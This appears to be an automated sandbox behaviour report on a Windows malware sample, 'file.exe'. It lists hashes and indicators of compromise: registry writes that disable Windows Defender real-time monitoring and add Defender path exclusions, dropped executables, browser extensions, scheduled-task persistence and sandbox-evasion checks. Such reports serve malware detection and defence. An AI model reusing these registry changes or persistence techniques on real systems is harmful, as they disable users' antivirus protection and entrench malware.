Analysis
-
max time kernel
128s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
26-09-2022 03:03
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220812-en
General
-
Target
file.exe
-
Size
7.2MB
-
MD5
20704fc92ed49100e2963e7690e4cc95
-
SHA1
d9d9c124c95fbc4749ef8ab8b2eb8c7acd329cdf
-
SHA256
a07f93b63123cdf3cbcb146daf61069b7137e1a297346fb2f4c5fdcd30d4acaf
-
SHA512
a0b2e238542707df3aaa6e379eb75ed318fd0fa5c8aca67e89325973c9e991b5da44d098cfca71cf0f27262dffcdd28eb0c0c90d34be58d91e761a959358f230
-
SSDEEP
196608:91OC2MisUkla+i6k9OP8EeQDPesNZZY9X:3Or1Hkla+MOEJsnCB
Malware Config
Signatures
-
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.exereg.exereg.exereg.exereg.execonhost.exereg.exereg.exereg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\lhYCvcGAfKQiHdyz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\wMiAwpnFkXrivKVB = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\lhYCvcGAfKQiHdyz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SfrSbxhXbhVCC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\wMiAwpnFkXrivKVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oCfcnVibUgRU2 = "0" conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dWSjIMqfbdUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jFRyDUODU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV = "0" conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\lhYCvcGAfKQiHdyz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jFRyDUODU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\lhYCvcGAfKQiHdyz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dWSjIMqfbdUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SfrSbxhXbhVCC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oCfcnVibUgRU2 = "0" reg.exe -
Blocklisted process makes network request 6 IoCs
Processes:
rundll32.exeflow pid process 29 1708 rundll32.exe 30 1708 rundll32.exe 31 1708 rundll32.exe 32 1708 rundll32.exe 33 1708 rundll32.exe 35 1708 rundll32.exe -
Executes dropped EXE 4 IoCs
Processes:
Install.exeInstall.exeoqjBVgF.exeYPUZOtr.exepid process 288 Install.exe 956 Install.exe 1560 oqjBVgF.exe 1700 YPUZOtr.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
YPUZOtr.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\International\Geo\Nation YPUZOtr.exe -
Loads dropped DLL 12 IoCs
Processes:
file.exeInstall.exeInstall.exerundll32.exepid process 360 file.exe 288 Install.exe 288 Install.exe 288 Install.exe 288 Install.exe 956 Install.exe 956 Install.exe 956 Install.exe 1708 rundll32.exe 1708 rundll32.exe 1708 rundll32.exe 1708 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
Processes:
YPUZOtr.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json YPUZOtr.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json YPUZOtr.exe -
Drops file in System32 directory 23 IoCs
Processes:
YPUZOtr.exeoqjBVgF.exepowershell.EXEpowershell.EXEpowershell.EXEpowershell.EXErundll32.exeInstall.exedescription ioc process File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1 YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3 YPUZOtr.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol oqjBVgF.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1 YPUZOtr.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini oqjBVgF.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9 YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9 YPUZOtr.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol oqjBVgF.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3 YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA YPUZOtr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA YPUZOtr.exe -
Drops file in Program Files directory 13 IoCs
Processes:
YPUZOtr.exedescription ioc process File created C:\Program Files (x86)\dWSjIMqfbdUn\hDljKTw.dll YPUZOtr.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi YPUZOtr.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja YPUZOtr.exe File created C:\Program Files (x86)\jFRyDUODU\scWPPWv.xml YPUZOtr.exe File created C:\Program Files (x86)\oCfcnVibUgRU2\JZkzEJjGmedrj.dll YPUZOtr.exe File created C:\Program Files (x86)\oCfcnVibUgRU2\juEqXNI.xml YPUZOtr.exe File created C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\WNYDhCQ.dll YPUZOtr.exe File created C:\Program Files (x86)\SfrSbxhXbhVCC\iHnZDJs.dll YPUZOtr.exe File created C:\Program Files (x86)\jFRyDUODU\ZzJGer.dll YPUZOtr.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi YPUZOtr.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak YPUZOtr.exe File created C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\tBxPUVi.xml YPUZOtr.exe File created C:\Program Files (x86)\SfrSbxhXbhVCC\WTVTahS.xml YPUZOtr.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\bNpHvRwEXzIclVjPnA.job schtasks.exe File created C:\Windows\Tasks\ZfXrITCAwqWWdJVle.job schtasks.exe File created C:\Windows\Tasks\bcMXixuPVnLBvIi.job schtasks.exe File created C:\Windows\Tasks\kYTQWNyBMOqWrvtpH.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 564 schtasks.exe 1524 schtasks.exe 2024 schtasks.exe 1608 schtasks.exe 1568 schtasks.exe 1936 schtasks.exe 1652 schtasks.exe 324 schtasks.exe 1372 schtasks.exe 280 schtasks.exe 572 schtasks.exe 1564 schtasks.exe 1040 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
rundll32.exeInstall.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
rundll32.exeYPUZOtr.exewscript.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections YPUZOtr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F59A668A-91B5-4A02-BF6C-7F4C486ED030}\WpadDecisionReason = "1" YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs YPUZOtr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6\WpadDecision = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6 rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0007000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F59A668A-91B5-4A02-BF6C-7F4C486ED030}\WpadDecision = "0" YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6\WpadDecision = "0" YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F59A668A-91B5-4A02-BF6C-7F4C486ED030}\aa-02-ac-5b-2f-f6 rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F59A668A-91B5-4A02-BF6C-7F4C486ED030}\WpadDecisionTime = 9099468d65d1d801 YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6\WpadDecisionReason = "1" YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings wscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6\WpadDecisionReason = "1" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6 YPUZOtr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-02-ac-5b-2f-f6\WpadDecisionTime = 9099468d65d1d801 YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ YPUZOtr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing YPUZOtr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings YPUZOtr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{F59A668A-91B5-4A02-BF6C-7F4C486ED030}\WpadNetworkName = "Network 2" YPUZOtr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" YPUZOtr.exe -
Processes:
YPUZOtr.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 YPUZOtr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde YPUZOtr.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEYPUZOtr.exepid process 1524 powershell.EXE 1524 powershell.EXE 1524 powershell.EXE 1632 powershell.EXE 1632 powershell.EXE 1632 powershell.EXE 1344 powershell.EXE 1344 powershell.EXE 1344 powershell.EXE 1288 powershell.EXE 1288 powershell.EXE 1288 powershell.EXE 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe 1700 YPUZOtr.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
